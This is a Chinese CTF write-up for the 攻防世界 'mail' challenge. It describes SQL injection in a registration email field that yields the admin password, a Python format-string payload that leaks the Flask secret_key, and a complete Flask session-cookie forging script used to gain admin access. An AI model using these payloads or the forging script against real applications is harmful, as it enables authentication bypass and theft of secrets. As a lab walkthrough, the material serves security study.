攻防世界--mail

尝试登陆admin给出提示可知存在admin账号

尝试注入显示只能是数字和字母,先注册进去,给出提示

 通过扫描目录可以发现/flag目录

查看session

要更改session就需要secret_key 

经测试,发现在注册时邮箱位置存在sql注入(添加单撇号报错)

使用布尔盲注脚本,发现admin的密码为h4ck4fun

登陆后页面

可以发现session和/flag要求的session还是不一样

admin用户这里多出一个修改邮箱功能,这里存在format格式化字符串漏洞

{user.__class__.__init__.__globals__}

使用current_app

{user.__class__.__init__.__globals__[current_app].config}

 找到secret_key后对session进行伪造

利用脚本

from flask.sessions import SecureCookieSessionInterface
import traceback
import ast

class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key

def encode(secret_key, session_cookie_structure):
    try:
        app = MockApp(secret_key)
        session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
        si = SecureCookieSessionInterface()
        s = si.get_signing_serializer(app)
        return s.dumps(session_cookie_structure)
    except Exception as e:
        traceback.print_exc()
        return False

if __name__ == "__main__":
    payload = "{'isadmin': 1, 'user': (1, 'admin', 'admin@qq.com')}"
    key = '873351ddf667ee973039b51b17dd399f'
    print(encode(key, payload))

访问/flag,更改session即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值